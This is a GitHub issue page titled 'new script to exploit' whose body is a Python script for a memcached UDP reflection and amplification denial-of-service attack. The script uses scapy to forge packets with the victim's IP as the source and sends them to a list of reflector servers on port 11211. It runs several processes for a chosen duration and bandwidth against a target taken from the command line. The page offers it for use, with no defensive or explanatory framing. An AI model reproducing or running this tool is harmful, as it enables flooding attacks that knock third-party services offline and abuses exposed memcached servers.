Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

new script to exploit #83

Open
anonsecbotnetstudent19 opened this issue Feb 7, 2024 · 0 comments
Open

new script to exploit #83

anonsecbotnetstudent19 opened this issue Feb 7, 2024 · 0 comments

Comments

@anonsecbotnetstudent19
Copy link

import sys
import random
import time
import multiprocessing
from scapy.all import IP, UDP, send, Raw
from colorama import Fore

Load Bots list

with open("botmemcached.txt", "r") as f:
bots = f.readlines()

Payload

payload = "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"

def attack(target_ip, target_port, duration, rate_mbps):
target = (target_ip, int(target_port))
start_time = time.time()
bytes_per_sec = rate_mbps * 1024 * 1024 / 8

while time.time() - start_time < duration:
    server = random.choice(bots)
    server = server.strip()
    try:
        packet = (
            IP(dst=server, src=target_ip)
            / UDP(sport=int(target_port), dport=11211)
            / Raw(load=payload)
        )
        send(packet, verbose=False)
        time.sleep(len(packet) / bytes_per_sec)
    except Exception as e:
        print(
            f"{Fore.MAGENTA}Error while sending forged UDP packet\n{Fore.MAGENTA}{e}{Fore.RESET}"
        )
    else:
        print(
            f"{Fore.GREEN}[+] {Fore.YELLOW}Sent forged UDP packet from bot {server} to {'{}:{}'.format(*target)}.{Fore.RESET}"
        )

def send2attack(target_ip, target_port, duration, rate_mbps, num_processes):
processes = []
for _ in range(num_processes):
mp = multiprocessing.Process(target=attack, args=(target_ip, target_port, duration, rate_mbps))
mp.daemon = True # Set daemon to True for automatic termination when the main program exits
processes.append(mp)
mp.start()

for mp in processes:
    mp.join()

def main():
if len(sys.argv) != 6:
print("Usage: python3 memcached.py <target_ip> <target_port> <duration_in_seconds> <rate_mbps> <num_processes>")
sys.exit(1)

target_ip = sys.argv[1]
target_port = sys.argv[2]
duration = int(sys.argv[3])
rate_mbps = float(sys.argv[4])
num_processes = int(sys.argv[5])

send2attack(target_ip, target_port, duration, rate_mbps, num_processes)

if name == "main":
main()

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant